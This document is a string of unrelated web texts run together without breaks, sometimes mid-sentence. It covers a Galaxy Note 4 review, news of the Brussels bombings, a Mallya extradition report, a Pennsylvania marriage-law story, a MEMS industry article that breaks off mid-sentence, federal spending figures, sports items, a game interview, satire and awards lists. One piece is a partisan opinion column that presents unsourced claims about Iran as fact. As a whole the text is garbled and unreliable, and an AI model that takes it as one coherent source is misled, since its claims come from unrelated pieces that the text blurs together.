A new fast charging charges from zero to 50 percent in 30 minutes. It takes about 55 minutes to charge the Note 3 from empty to half full. The Note 4 also has lower power consumption, which gives a 7.5 percent increase in battery life, despite having the higher-resolution screen and only marginally higher-capacity 3220mAh battery (the Note 3 has a 3200mAh cell.
Storage and memory
The Note 4 has 32GB of internal storage and a microSD card slot capable of accepting up to 64GB cards. Contradicing rumours of 4GB of RAM, there's actually 3GB.
The full specifications are below:
Network 2.5G (GSM/ GPRS/ EDGE) : 850 / 900 / 1800 / 1900 MHz
3G (HSPA? 42Mbps): 850 / 900 / 1900 / 2100 MHz
4G (LTE Cat 4 150/50Mbps) or 4G (LTE Cat 6 300/50Mbps)
* May differ by country and carrier AP 2.7 GHz Quad-Core Processor
1.9 GHz Octa-Core (1.9GHz Quad + 1.3GHz Quad-Core) Processor
*May differ by country and carrier Display 5.7 inch (143.9mm) Quad HD Super AMOLED (2560 x 1440) OS Android 4.4 (KitKat) Camera Rear Facing: 16Mp Auto Focus camera with Smart OIS
Front Facing: 3.7Mp camera with f1.9 Rear Facing Camera : HDR (Rich tone), Selective Focus, Rear-cam Selfie, Beauty face, Virtual Tour Shot, Shot & More, Dual Camera
Front Facing Camera: Selfie, Wide Selfie Video Codec: H.264, MPEG-4, H.263, VC-1, WMV7, WMV8, Sorenson Spark, MP43, VP8
Recording & Playback: up to UHD Audio Codec: MP3, AAC/AAC?/eAAC?, WMA, AMR-NB/WB, Vorbis, FLAC(?)
(?) Ultra High Quality Audio (~192KHz, 24 bit) support S Pen Optimized Features Air Command (Action Memo, Smart Select, Image Clip, Screen Write)
S Note, Snap Note, Direct Pen Input Additional Features Multi Window Ultra Power Saving Mode Voice Recorder (Normal Mode, Interview Mode, Meeting Mode, Voice Memo) Download Booster S Health 3.5 Dynamic Lock Screen Briefing Google Mobile Services Chrome, Drive, Photos, Gmail, Google, Google+, Google Settings, Hangouts, Maps, Play Books, Play Games, Play Newsstand, Play Movie & TV, Play Music, Play Store, Voice Search, YouTube Connectivity WiFi 802.11 a/b/g/n/ac (HT80) MIMO PCIe
GPS / GLONASS / Baidu
NFC, Bluetooth® v 4.1 (BLE,ANT+)
IR LED (Remote Control), USB2.0, MHL 3.0 Sensor Gesture, Accelerometer, Geo-magnetic, Gyroscope, RGB,IR-LED
Proximity, Barometer, Hall Sensor, Finger Scanner, UV, Heart Rate Monitoring, SpO2 (Dependent on market) Memory 32 GB Internal memory? micro SD slot (up to 64GB)
3GB RAM Dimension 153.5 x 78.6 x 8.5mm, 176g Battery Li-ion 3,220mAh, Fast Charging (Adaptive Fast Charging & QC2.0)
See also: Samsung Galaxy S5 review: flagships smartphone has new features but doesn't stand out from the crowd.
Samsung Galaxy Note 4: Software
The Note 4 runs Android KitKat - no surprises there - but Samsung has also worked on the user interface to make it easier to use.
One of the biggest complaints from users was that Multi Window was too hard to use, and we'd have to agree. On the Note 4, Multi Window is part of the recent key. Using your finger or the S-Pen you can minimise an app and make it run as a ‘pop out’ window, as well as using split view where you can run two apps, one in each half of the screen. Plus, it's simple to adjust how much space to give each app by dragging the dividing line.
Other software changes include dynamic lock screens with images from third-party providers including Yahoo! You can, of course, choose your own images.
Follow Chris Martin and @PCAdvisor on Twitter.
Click here for the best Samsung deals and Samsung voucher codes.Media playback is unsupported on your device Media caption Katya Adler reports: "Brussels has turned into a city of sirens and a centre of fear"
Belgian police have issued a wanted notice for a suspect after bomb attacks at Brussels' main airport and a metro station left more than 30 people dead.
The man was seen walking with two other suspects shortly before twin explosions tore through Zaventem airport.
Both men died in the attacks after detonating suicide devices, a Belgian prosecutor said.
Anti-terror raids have taken place across Belgium. So-called Islamic State (IS) said it was behind the attacks.
An online statement from the group said the locations were "carefully selected" and warned of worse to come for "Crusader states allied against the Islamic State".
The US State Department has urged US citizens of "potential risks" of travelling to Europe.
"Terrorist groups continue to plan near-term attacks throughout Europe, targeting sporting events, tourist sites, restaurants and transportation," a statement said.
Belgian prosecutor Frederic Van Leeuw said police were seeking a man wearing a hat and light-coloured jacket.
He said searches were taking place "in several parts of the country", adding that an explosive device containing nails, chemical products and an IS flag were found in an apartment in the Schaerbeek area of Brussels.
The raid in Schaerbeek reportedly followed a tip-off from a taxi driver who had driven the three suspected bombers to the airport.
Image copyright AFP Image caption The two men to the left are believed to have blown themselves up
The explosions happened in quick succession shortly after 08:00 local time (07:00 GMT), with some victims reportedly hit by the second blast as they tried to escape the first.
Another bomb was later found and destroyed in a controlled detonation at the scene.
The Zaventem mayor, Francis Vermeiren, told the AFP agency the suicide attackers used bombs hidden in their suitcases.
More about the attacks
What we know so far
Why was Brussels attacked?
Crisis information
Eyewitnesses recall explosions
In pictures: Brussels explosions
Full coverage
About an hour after the airport blasts, another explosion struck the Maelbeek metro station near EU headquarters.
It has not been confirmed what caused the explosion but IS said it too was a suicide bombing.
Belgian officials put the death toll from both attacks at more than 30, with at least 11 killed at the airport and about 20 at the metro station.
About 250 people have been injured, many of them severely.
The blasts came days after the arrest of Salah Abdeslam, a key suspect in last year's Paris attacks which were also claimed by IS.
"This is a day of tragedy, a black day," Belgian Prime Minister Charles Michel said. "I would like to call on everyone to show calmness and solidarity."
Belgium has raised its terrorism alert to its highest level. Three days of national mourning have been declared.
Some local transport has re-opened following a shutdown, but flights from the airport have been cancelled and the airport is unlikely to open for several days. Eurostar services in and out of Brussels have been suspended.
World leaders have sent condolences and messages of solidarity.
Image copyright Getty Images Image caption The blasts left scenes of carnage at a major airport and metro station
Image copyright AP Image caption Security was tightened and local and international transport links shut down
Image copyright AFP Image caption By nightfall some of Europe's best known tourist sites, including Rome's Trevi fountain were lit in the colours of the Belgian flag
US President Barack Obama called the blasts "outrageous attacks against innocent people" while the 28 EU leaders - in a joint statement - said the bombings were an "attack on our open, democratic society".
The UN Syria envoy, Staffan de Mistura, said the attacks showed the urgent need to "extinguish the fire of war" in Syria so the focus could turn to IS.
International landmarks, such as the Trevi fountain in Rome and the Eiffel Tower, have been lit up in the colours of the Belgian flag in tribute to the victims.A SENIOR professor from the School of Oriental and African Studies (SOAS), University of London, reportedly engaged by Vijay Mallya’s lawyer, has, in a statement to a London court, cited the recent promotion of Gujarat-cadre IPS officer Rakesh Asthana as the CBI special director to highlight the “lack of integrity” in the way “criminal investigations and prosecutions are carried out in India”.
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Meanwhile, Mallya appeared before the court for his pre-trial hearing on Monday. His extradition hearing was confirmed for eight days starting December 4.
In his “statement of impartiality”, Professor Lawrence Saez, who has identified himself as “a leading expert on the government and politics of South Asia”, has said: “Concerns about the lack of independence by some criminal investigation agencies, like the ED and CBI, also suggest an overall lack of integrity in the way that criminal investigations and prosecution are carried out in India.”
Citing the case of Asthana, who is handling Mallya’s case in the CBI, Saez has said: “There were serious concerns raised by the Vigilance Commission… surrounding the CBI’s additional director Rakesh Asthana’s recent effort to win promotion as special director of the CBI. The CVC, India’s leading anti-corruption government agency, opposed Mr Asthana’s promotion on account of issues regarding the integrity clause, because his name appeared in a list of bribe takers of a company investigated by the CBI… Despite seriousness of the allegations against Mr Asthana, he was nonetheless promoted as the CBI’s special director.”
While Saez has named the CVC, it was actually CBI director Alok Verma who dissented over Asthana’s promotion. Central Vigilance Commissioner K V Chowdary had clarified that the process (for Asthana’s promotion) was followed and the recommendations were unanimous.
Saez, who is also a member of the World Economic Forum’s India Agenda Council, is reported to have been engaged by Mallya’s lawyer Anand Doobay of Boutique Law firm, for his expert opinion. In an email reply, Doobay said: “We confirm that we act for Mr Mallya but I am not able to make any comment at this time.” He did not respond to questions about Saez’s statement.
While Saez did not respond to phone calls or email, he has, in his statement, said: “I confirm that this report is addressed to the court and relevant authorities, having received instructions from Mr Anand Doobay and on behalf of Boutique Law LLP in connection with the ongoing extradition proceedings against Dr Mallya”.
Sáez is Professor in the Political Economy of Asia in the Department of Politics at SOAS. “I am a leading expert on the government and politics of South Asia and, in 2017, I was elected by my peers as the executive director of the British Association for South Asian Studies (BASAS), the world’s leading learned society of South Asian studies… I have lectured on the subject of India’s federal system, subnational politics, banking reform and inter-governmental relations at the University of Delhi and Jawaharlal Nehru University,” Saez has said.
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“In my capacity as an expert on the region, I have provided testimony to the Foreign Affairs Committee of the UK House of Commons and participated in classified briefings to the NATO Parliamentary Assembly, the Foreign and Commonwealth office and the US National Intelligence Council,” he has added.PHILADELPHIA — When U.S. District Judge Mary McLaughlin decides this year whether Pennsylvania must recognize same-sex marriages from other states, she’ll do so from her perch above Independence Mall, where about 40 people staged an early gay rights protest in 1965.
For decades afterward, little changed on the marriage equality front. But the cultural and legal landscape has shifted rapidly since 2000, leaving Pennsylvania the last state in the northeast region to ban same-sex marriage.
That could soon change as three high-profile lawsuits move through the courts.
In Philadelphia, McLaughlin is weighing the “marriage recognition” issue, which could reach the U.S. Supreme Court before the broader issue of marriage equality. Her case is set for oral arguments May 28.
“The laws have not caught up to where people actually are on this issue,” said lead plaintiff Cara Palladino, 48, of Philadelphia, a Bryn Mawr University fundraiser who married Isabelle Barker, 42, in Massachusetts in 2005. “When you look around at all the challenges that we have, I think people are increasingly looking at gay marriage as … a nonissue.”
A Quinnipiac University poll last month showed that 57 percent of about 1,400 Pennsylvania voters surveyed approve of same-sex marriage, compared to 37 percent who are opposed.
Lawyers for Republican Gov. Tom Corbett believe the issue comes down to states’ rights — and that neither Massachusetts, nor McLaughlin, should tell Pennsylvania how to define marriage.
“This court should … leave to the individual state legislatures their traditional power, long recognized under the U.S. Constitution, to define the nature and character of the marital relationship within their boundaries,” they wrote in a brief last month in the Palladino case.
It’s not clear whether McLaughlin will rule right away. However, in June, U.S. District Judge John E. Jones is scheduled to hear a broader challenge to the state’s same-sex marriage ban during a two-week trial.
The American Civil Liberties Union represents 25 plaintiffs, including same-sex couples, their children, and a woman who lost her same-sex spouse. They say they have been denied financial and legal benefits that others enjoy. The ACLU plans expert testimony on such subjects as child rearing and the history of marriage, to build a record for the expected appeals.
“We think (they) will demolish any conceivable argument against marriage equality the other side could present,” said Witold “Vic” Walczak, legal director of the ACLU of Pennsylvania.
In a third key case pending in Commonwealth Court, Corbett’s administration has asked a judge to void scores of marriage licenses issued to gay and lesbian couples last year by Democratic local officials in Montgomery County.
“Same-sex marriage is not deeply rooted in our nation’s history … (and) cannot be considered a fundamental right,” attorneys for the state have argued in court papers.
In the Palladino case, Corbett’s lawyers also say the statute of limitations has run, since the couple moved to Pennsylvania eight years ago. In other ways, though, the couple’s timing may be good.
The U.S. Supreme Court last year outlawed parts of the federal Defense of Marriage Act, which defined marriage as the union of a man and woman. And several federal judges this year have knocked down state bans on same-sex marriage.
Malcolm Lazin, executive director of the nonprofit Equality Forum, which is backing the Palladino lawsuit, said there’s been a “sea change” in attitudes toward same-sex marriage. He nonetheless expects any progress in Pennsylvania to come through the courts, not the Republican-controlled legislature.
“Societal changes are happening very, very quickly,” he said, “and they’re all trending in one direction.”
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This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderThe advent of the Internet of Things will open up a slew of new opportunities for MEMS-based sensors, but chipmakers are proceeding cautiously.
There are a number of reasons for that restraint. Microelectromechanical systems are difficult to design, manufacture and test, which initially fueled optimism in the MEMS ecosystem that this market would command the same kinds of premiums that analog designs have been able to maintain. MEMS chips are custom-designed for specific applications, and many are customized engineering marvels with micro-machined moving parts and advanced electronic controls.
Pricing has not always been proportionate with the importance or difficulty of developing these devices, however. Accelerometers, gyroscopes and capacitive touch sensors, for example, have become so pervasive in smartphones that big systems companies have been able to play one small vendor off against another to whittle down the average selling prices. While volumes are huge, average selling prices have plummeted.
“If you look at gyroscopes and accelerometers, price erosion has been 3% to 5% per quarter,” said Mike Rosa, director of technical marketing for Applied Materials‘ 200mm Group. “Serial entrepreneurs in the MEMS space are talking about a stall. Systems vendors have been able to drive growth in high volumes, but they’ve driven the price down so far that it’s difficult to sustain business. And it’s not getting easier to manufacture these devices with every new generation.”
That view is echoed by the foundries. “These are challenging times for MEMS,” said Walter Ng, vice president of business management at UMC. “The systems guys want to drive MEMS to the commodity level even though it’s actually custom development. It’s a difficult business to support if we push it to the commodity level, which is why there is an effort to bring standardization. But along with that, there are also a lot of requests for customized processes.”
Those pricing pressures have whittled down the amount of innovation in the most popular markets because there isn’t enough margin to support it, while triggering a search for new markets where there is less cost pressure. “New entrants in the MEMS market are microphones, where they use multiple microphones for higher-quality audio input,” said Stephen Breit, vice president of engineering at Coventor. “We’re also seeing new markets for micro-ultrasound transducers for fingerprint ID and gesture detection. These have lower noise sensitivity than capacitive MEMS. There also is a lot of new functionality in cars, such as safety features.”
What are MEMS devices?
MEMS, as the name implies, are systems built through a combination of mechanical and electrical engineering. They can include some moving parts, or none at all, and they can range from relatively simple to extremely complex. Until 2006, they were largely unheard of outside of narrow markets such as airbags and inkjet cartridges. That was the year Nintendo introduced the Wii with an accelerometer built into the controller. The MEMS market exploded after that, expanding out in every direction, including smart phones and other portable devices.
MEMS chips today are used in everything from microvalves, micromirrors, pressure sensors for microphones, to labs-on-a-chip, which can test a drop of blood, for example, within minutes instead of hours.
Gears on a MEMS chip. Source: Mentor Graphics
Making these devices generally takes advantage of existing manufacturing technology, but some of those technologies are drawn from the leading edges of design. That includes a whole range of advanced techniques, including multiple types of deposition (CVD, PVD, low-pressure CVD, ALD) They also utilize a range of lithography techniques, a number of etching approaches, including deep reactive ion etching, and materials ranging from SOI substrates to scandium thin films.
Source: MEMS & Nanotechnology Exchange
MEMs chips typically fall into four categories:
• Capacitive. This technology can be used to detect anything that is conductive. They can be found in touchscreens and fingerprint sensors.
• Gyroscopic. These devices use an oscillation component to detect acceleration in any direction.
• Piezoelectric. These thin-film-based devices are still in the early rollout phase, but are expected to be used in a variety of applications, including energy harvesting. They produce electrical signals in response to mechanical stress.
• Laser-based. These devices also are in the developmental phase. The basic premise is that they can fine-tune lasers for a variety of purposes, from advanced automotive headlights to acousto-optic filters.
MEMS also typically are comprised of four basic components, according to the MEMS and Nanotechnology Exchange: microsensors, microactuators, microelectronics and microarchitectures.
What gets used where depends upon a combination of pricing pressure, which can affect R&D as well as manufacturing, as well as the maturity of the technology and how much performance is needed for a particular application.
New approaches
While MEMS really gained popularity in the mobile phone market, the sector’s role in the Internet of Things could prove much bigger. For the IoT to be successful, sensors will be required everywhere. Many of those sensors will be MEMS chips. Some will be standardized and commoditized, while others will command premiums because MEMS customers won’t have as much of a lock on the market—or at least not initially.
“Microphones are one of five devices with volumes in the billions and revenues of more than $1 billion,” said Applied’s Rosa. “What’s different is that microphones hold their gross margin. A phone has lots of cool features, but if the microphone doesn’t work it’s basically a brick. And as performance improves, there will be new applications. There are multiple applications just in a car with noise cancellation.”
He noted that MEMS for microphones are migrating from capacitive to piezo, with an improvement in performance coming from new materials, as well.
SOI is one such material. The advantage is that wafers are thicker, which makes them easier to work with and therefore potentially less expensive. Some of the early MEMS chips were based on wafers where the build-up was only two to four microns.
“There is still a lot of room to improve performance, even for inertial sensors—and especially for industrial and military applications,” said Coventor’s Breit. “For consumer markets, the existing technology is ‘good enough.’ But for IoT and wearables, they will need smaller form factors, so they will have to be integrated with other technologies. This is basically an IP play, but not on the same silicon as the rest of the chip, so it will require wafer bonding or some type of packaging. These devices will be in the tens or hundreds of microns, so using that area on a chip does not make sense for MEMS.”
Testing
Testing MEMS requires a spectrum of approaches. Because some of these chips involve mechanical devices with |
2009: State and Country Areas” on how much the federal government spends on the 307,006,550 citizens who lived in America at the end of 2009. The state that received the most money per person was Alaska– $20,351. The state which received the least per person was Nevada– only $7.148.
The total federal domestic spending in the government’s last fiscal year was $3.2 trillion. That was up 16% from the previous year, almost entirely because of the government’s stimulus package, set up to ameliorate the effects of the recession. This was the greatest increase since 1983 which also occurred at the end of a deep and long recession.
Unfortunately for budget hawks, most of what the federal government spends now is nearly impossible to cut. That is certainly true if most members of Congress and the President want to get re-elected. Twenty-two percent of 2009 expenditures, $715.6 billion, went to Social Security. Health and Human Services, which handles payments for Medicare and Medicaid, spent 28% of budget dollars–$907 billion.
The Defense Department’s expenditures were almost 17% of the budget, or $535 billion. That does not include the costs for Veterans Affairs–nearly 3% of the budget or $91 billion. It turns out that the most important swing factor among states for federal expenditure per person is defense spending. The number is unusually high in Alaska and low in states like Oregon and Minnesota.
The money spent by the federal government on defense, social services, and entitlement programs is so high that only 30% of the government’s expenditures are left for the entire balance of the nation’s financial obligations.
Five states did extraordinarily well in terms of the amount of money that they received per person. Anther five did very poorly. The 24/7 Wall St. analysis of these states not only looks at what each one received but why that number was better or worse than the national average — $10,395 per person.
The five winners:
1. Alaska
Amt. per Capita: $20,351.13
Population: 698,473
Percent of U.S. Population: 0.23%
Percent of U.S. Funds Per Person: 0.45%
Alaska got $20,351 per person. The most significant reason is that the northernmost state receives substantial money from the federal government for defense. That is divided into only 698,473 people. Alaska’s payment per person for defense dwarfs that of any other state.The Blue Jays have claimed Casper Wells off waivers from the Mariners, according to Peter Gammons of the MLB Network (on Twitter). The Mariners designated Wells for assignment back on March 31.
Wells, 28, came the Mariners from Detroit as part of the Doug Fister trade. In 432 plate appearances for the M's, Wells hit.225/.304/.406 with 17 home runs. Wells is capable of playing all three outfield positions and has abused left-handed pitching to the tune of a.264/.349/.489 batting line.
The Mariners elected to go with an outfield mix of Michael Saunders, Michael Morse, Franklin Gutierrez, Raul Ibanez and Jason Bay, leaving no room for Wells on the 25-man roster. As MLB.com's Greg Johns notes (on Twitter), today was the deadline for the Mariners to make a decision regarding Wells' future.Nobody much noticed, but we just had a new Cuban Missile Crisis. Remember the last one? The Soviets tried to place missiles in Cuba and we interdicted the Russian ships. For a moment it looked like WWIII but then Khrushchev backed down and the Soviet ships returned home. When he heard this, Robert Kennedy turned to his brother and said, “We were eyeball to eyeball, and they blinked.”
A smaller version of the same thing happened yesterday. Briefly, Obama told the Iranians they could build medium-range missiles that could attack Israel. You heard that right. We abandoned our ally and made common cause with our enemy. But the Iranians weren’t supposed to build long-range missiles that are capable of attacking Europe. Problem is, that’s just what they’re doing. They’re phasing out their medium-range missiles and concentrating on long-range ones. Many think they want to develop intercontinental missiles that could reach us.
They were prepared to go public with this next Saturday, their “Revolution Day,” which celebrates the Ayatollah Khomeini’s ascension to power in 1979. It’s a day when the country’s leaders condemn the U.S., and Revolutionary Guards march through the streets. This time we were expecting to see them parade a long-range missile, the way the Soviets used to do on May Day. In preparation, satellite photos revealed that yesterday they were going to launch a missile from the Khomeini Space Center in Semnan, Iran.
And then… nothing. New satellite photos taken yesterday morning showed that the launch had been abandoned. At the same time, the Iranians have softened their language about the U.S., according to the Middle East Media Research Institute (MEMRI). Instead of fulminating about the “Great Satan,” Supreme Leader Khamenei now merely whines about how naughty we are, while the social media chit-chat from the Revolutionary Guards talks of toning down the message in recognition of the Americans who oppose Trump. (Hey, Lena Dunham, a nation turns its grateful eyes to you!)
So what happened? Very simple. NSC Director Mike Flynn told the Iranians that we were putting them on notice and they backed down. We were eyeball to eyeball and they blinked.
We’re always going to have to watch them, and something more will be required when we see a long-range missile launched. But at the moment it’s good to know that there’s a new sheriff in town.Is the Jelly Bean (Android 4.1.1) update actually rolling out to Verizon’s Galaxy Nexus at this time? According to the dozen or so emails in our inbox from readers who are claiming to have received it, we are starting to wonder if it is. The Build is JRO03O, which is the same build that popped up as a test build a few weeks back. You still can download it directly from Google if you’d like.
Verizon hasn’t mentioned that the update is rolling out, so we’ll have to ask you to check your phones and let us know. My Galaxy Nexus is already running JRO03O, so there is no update to be had on my end.
If you would like to try to force the update, try this set of instructions:
1. From your phone, head into Settings>Apps>All.
2. Search for Google Services Framework.
3. Once found, tap on it and choose “Force stop.”
4. Then choose “Clear data.”
5. Back out of Apps to your About page in Settings and check for the System update.
Update: The pop-up for the update mentions something about the update being “Via Wi-Fi only until Oct 1.” So, if you want to check for the update, I would suggest having WiFi on 1st, and if it still doesn’t show up, trying the instructions above with WiFi on. Interesting that they would do something like this, but again, today is iPhone 5 launch day and they probably aren’t interested in the tiny G-Nex world hammering on their LTE towers.
Update 2: It’s official, the instructions for the update are up:
Update: It’s official!
Let me know in the comments!
Cheers Rory, Kevin, Will, Shawn, Justin, @rick_trujillo75, @POTIN1 and more!Students began making signs with messages of love and support for the woman to see
Ohio State police talked a woman down from the seventh story of the Lane Ave Parking Garage Tuesday.
Around 4pm, witnesses on campus saw a woman standing on top of the garage. The woman remained there for over an hour and a half before eventually coming down.
In an amazing show of empathy and community, students and passerby who saw the woman sprang into action and began writing loving messages on signs. They pulled cardboard from nearby dumpsters and wrote to the woman, letting her know they were there for her and that they cared.
Logan, a student at the Ohio State University who was on his way to class when the incident occurred told The Tab: “I was driving by and saw police cars.
“People were writing her messages on paper at first, but one of the policemen said to get some cardboard so she would be able to read it.”
He held up a sign that read, “you are loved.”
Logan said that suicide had touched him in his own life, and he knew he needed to stop and do what he could to help.
OSU student Maddy Humphry and her mother, Marcia Humphrey also showed their support and concern for the woman.
Maddy told The Tab: “We’ve been here for an hour. I was driving home from work on Lane when I saw her.”
She described the relief when the woman finally stepped down and into the arms of officers, saying: “When she stepped down everyone was overjoyed. You could hear everyone clapping. I still have chills just thinking about it.”
“I’m just happy our prayers were answered,” her mother, Marcia added.
In addition to students doing their part, first responders succeeded in de-escalating and maintaining control of the situation. The woman was successfully talked down to safety by what looked like a mix of police, fire, and other first responders on the top floor of the garage.
Police worked to resolve the situation without harm, while managing the logistics of people attempting to exit and enter the garage and nearby streets.
Suicide is a growing issue that has seemingly touched all of our lives in some way. The Tab Ohio State encourages any students who need it to take advantage of Ohio State’s Office of Student Life Counseling Service where students can help with whatever troubles they are having. Their mission is, “To promote the personal well-being and academic success of students by providing comprehensive individual and group mental health services, psychoeducational prevention and outreach programming.” National Suicide Prevention Lifeline-Outlast 2 Interview – Upgrading the Fear
If you bought a PlayStation 4 at or near launch, then there’s a high chance that you played or at least tried Red Barrels’ Outlast; one of the first games available on PS4 PS+ freebies. Needless to say, it a game that delivered in more ways than one.
For those who played the first game, or if you’re a fan of horror games (like me), then chances are high you’re looking forward to Outlast 2 and how it will scale up everything we loved in the first game. With that in mind, PlayStation LifeStyle reached out to developer Red Barrels to ask everything we wanted to know about Outlast 2! Speaking to us was Red Barrels President Philippe Morin, who was game to answer everything we threw at him.
PlayStation LifeStyle: Will Outlast 2 be compatible with PlayStation VR when it’s released on PS4 next year? Any update on this at all?
Philippe Morin: No, it won’t be. I think that if you want to make a really effective and enjoyable VR game, it has to be built from the ground up for it. Since, we’re a small team of 20 people, we have to focus on one thing at a time. We’ll see once we ship Outlast 2 if we jump on the VR bandwagon.
PSLS: With PS4 Pro out in about a month, is Outlast 2 going to have a PS4 Pro mode or any improvements that can capitalize with the new console’s power?
Morin: Yes it will. It will have higher shadow quality, higher quality texture filtering and more detailed meshes. That’s what we have so far, but we’re still working on some improvements.
PSLS: How many units did the first Outlast did collectively across all platforms? Was it the number Red Barrels expected?
Morin: It’s over four million units and it’s more than we ever dreamed of.
PSLS: Will Outlast 2 ever have a physical release?
Morin: We’re investigating that possibility.
PSLS: What specific improvements are being made to Outlast 2 given the feedback on the first title?
Morin: A much longer experience, at least 30% longer. It has a wider variety of environments and setup. The story is a lot more complex. We still have the visceral, in your face kind of horror, but this time we also want to mess with the player’s mind. We want them to go through the game and keep wondering what the hell will happen next.
PSLS: Blake Langermann is the new protagonist in Outlast 2, along with wife Lynn, will there be any element of co-op play? And can we expect any callbacks to Mount Massive asylum?
Morin: For the same reason I mentioned above, we have to remain focus on one goal at a time and for now that goal is to create a horrific single-player experience.
We’ve started distributing a comic book series that bridges the gap between Outlast 1 and Outlast 2. You can download it here: http://www.redbarrelsgames.com/comic-books/
PSLS: Outlast 2 is steeped in a genre of Southern Gothic horror that has produced films like Deliverance, Cape Fear and many more. Are there any titles in particular that inspired the sequel, be they movies or games?
Morin: We like to take our inspiration from eclectic material. Children of the Corn, Take Shelter, Jonestown: Paradise Lost, The Shining, The Shrine, The Omen, The Village, The Wicker Man, True Detective, VHS 2.
PSLS: Player vulnerability was something that really hooked audiences with the original Outlast, can you speak about how the sequel upholds that unrelenting sense of dread?
Morin: It’s at the core of the Outlast experience. We build these games to make the player suffer and we dare them to play through the whole thing. The whole idea is to make them go through a range of emotions that isn’t usually found in video games. And if we do our job well, those moments will remain with the player for a long time.
PSLS: A handful of players took issue with the game’s ending. Is this something you’ve taken on board with Outlast 2? How do you go about wrapping up a horror story in a way that feels satisfying?
Morin: I think the main issue with the ending was that we simply ran out of time to stage it well. It was a tricky ending to pull off and it should have been tackled a lot sooner in development.
PSLS: The first entry in the series was a PlayStation Plus title. Was there any consideration to go that route again?
Morin: It made sense at the time to get has many players as possible aware of the brand, but now people know Outlast, it isn’t necessary.
PSLS: Will players be avoiding conflict again in the sequel or are there new ways to defend oneself?
Morin: The core gameplay remains the same, but we’ve added new behaviors that will enrich the experience.
PSLS: Will we see any familiar faces in Outlast 2?
Morin: No, it’s an entirely new setting, with new characters. The comic books will explain how they relate to one another.
PSLS: Has the studio seen any backlash from religious groups after including religious references and themes in marketing and the game itself? If not now, what about at release?
Morin: No backlash at all, but then again we’ve shown very little. 😉
We’d like to thank Philippe Morin for taking the time out to answer our questions. Outlast 2 is scheduled for release in Q1 2017 for the PS4, Xbox One and PC.Outright Brat Referred to as ‘Gifted’ by Willfully Ignorant Mother
Matt Querzoli Blocked Unblock Follow Following Aug 12, 2017
Seven-year-old Ethan Hunter, aspiring astronaut or movie star, has been labelled ‘gifted’ by his young mother, despite the fact that everyone he has come into contact with is of the opinion that he is an insufferable brat.
A McDonalds worker, who wishes to remain anonymous, has told of how Mrs Hunter explained away the fact her son laid a turd in the playground area of the restaurant. “She told me he has a very active bowels,” said the worker, after he’d finished cleaning and disinfecting the slide, where one child accidently put her hand in the poo and slid down it, crying.
The problem is not constrained to Ethan’s treatment of service workers, either. Reports have emerged stating that the child’s own grandparents intensely dislike the boy, who they say, “Cannot be tolerated or reasoned with.”
“I asked him once to choose which cookie he wanted. He snatched the whole jar from me, climbed the roof of the garage and ate them all from there. Afterward, he dropped the jar onto the driveway. It’s in pieces now. We’ve had that jar since the year we were married,” said Ethan’s maternal grandmother said. “I’ve told my spud of a daughter but she insists he’s just hyperactive.”
Her husband said: “I’m not normally violent towards children, nor family members for that matter, but I’ve often thought about how wonderful it would be to give him a spanking. But now that’s considered abuse, so…we do what we can and dream of what we can’t.”
Mrs Hunter and her ‘special little boy’ have not been invited to any children’s parties since Ethan’s first year in preschool.2015 College Awards (D-I All-Region)
USA Ultimate is proud to announce the 2015 D-I College All-Region Teams and Players of the Year!
Instituted in 2002, these awards are a way for individual college players to be honored by their peers for their skill, athleticism, integrity, and leadership during this season (see 2014 College Award Winners).
D-I All-Region teams were determined by a peer voting process open to all college players on a roster for the 2015 college postseason. Players highlighted in green have won Player of the Year honors in their region/division.
2015 College Awards:
Please send any corrections (name spellings, year in school, etc) to matthew@hq.usaultimate.org.
2015 D-I College All-Region Teams
D-I All-Region (Men's Division)
Player School Yr 1st team Mark Lin Maryland Sr 1st team Jake Mcgoogan North Carolina State Jr 1st team Jonathan Nethercutt North Carolina Sr 1st team Ben Snell North Carolina Gr 1st team Aaron Warshauer North Carolina Jr 1st team Xavier Maxstadt North Carolina-Wilmington Sr 1st team Jack Williams North Carolina-Wilmington Jr 2nd team Nathan Prior Maryland Sr 2nd team Kiron Allen North Carolina State Sr 2nd team James Zuraw North Carolina Gr 2nd team Luke Hancock North Carolina-Wilmington Sr 2nd team Dominique Gibson Virginia Commonwealth Jr 2nd team Hunter Taylor Virginia Tech Sr 2nd team Cody Johnston William & Mary Sr
D-I All-Region (Women's Division)
Player School Yr 1st team Sarah Lord Maryland Sr 1st team Qing (Jenny) Wei North Carolina So 1st team Klara Calderon-Guthe North Carolina-Wilmington So 1st team Zoe Dorian North Carolina-Wilmington 5th/Gr 1st team Sarah Hansen Virginia Sr 1st team Alika Johnston Virginia Sr 1st team Rebecca Meeker Virginia Jr 2nd team Chloe Greene Charleston Sr 2nd team Claudia Dimick James Madison Sr 2nd team Allison Wallace James Madison Jr 2nd team Jana Hollis North Carolina State Sr 2nd team Claire Pauley North Carolina Sr 2nd team Gladys Balcarcel Virginia Commonwealth Sr 2nd team Lillian Goldstein Virginia Commonwealth Sr
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D-I All-Region (Men's Division)
Player School Yr 1st team Joshua Stevens-Stein Chicago Sr 1st team Nick Prozorovsky Illinois Jr 1st team Matt West Illinois Gr 1st team Jesse Buchsbaum Michigan Sr 1st team Sam Greenwood Michigan Sr 1st team Eli Leonard Michigan Sr 1st team Alex Champe Northwestern 5th/Gr 2nd team Austin Engel Eastern Michigan Sr 2nd team Jay Andreani Michigan State Jr 2nd team Braeden Emrick Michigan State So 2nd team Noah Backer Michigan Jr 2nd team Alexander Russomanno Michigan Gr 2nd team Yiding Hou Northwestern Jr 2nd team Benjamin Spielman Northwestern So
D-I All-Region (Women's Division)
Player School Yr 1st team Jesse Handler Chicago Sr 1st team Jean Huang Illinois Sr 1st team Hannah Henkin Michigan Jr 1st team Tracey Lo Michigan Jr 1st team Christina Sur Northwestern Sr 1st team Amalia Carmona Notre Dame Sr 1st team Kelsey Fink Notre Dame 5th/Gr 2nd team Amanda Dobbyn Chicago Sr 2nd team Ariel Choi Illinois Sr 2nd team Kathlyn Meagher Illinois Sr 2nd team Carolyn Vlach Michigan 5th/Gr 2nd team Jenny Li Northwestern Sr 2nd team Julia Butterfield Notre Dame So 2nd team Anne Hemmelgarn Purdue 5th/Gr
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D-I All-Region (Men's Division)
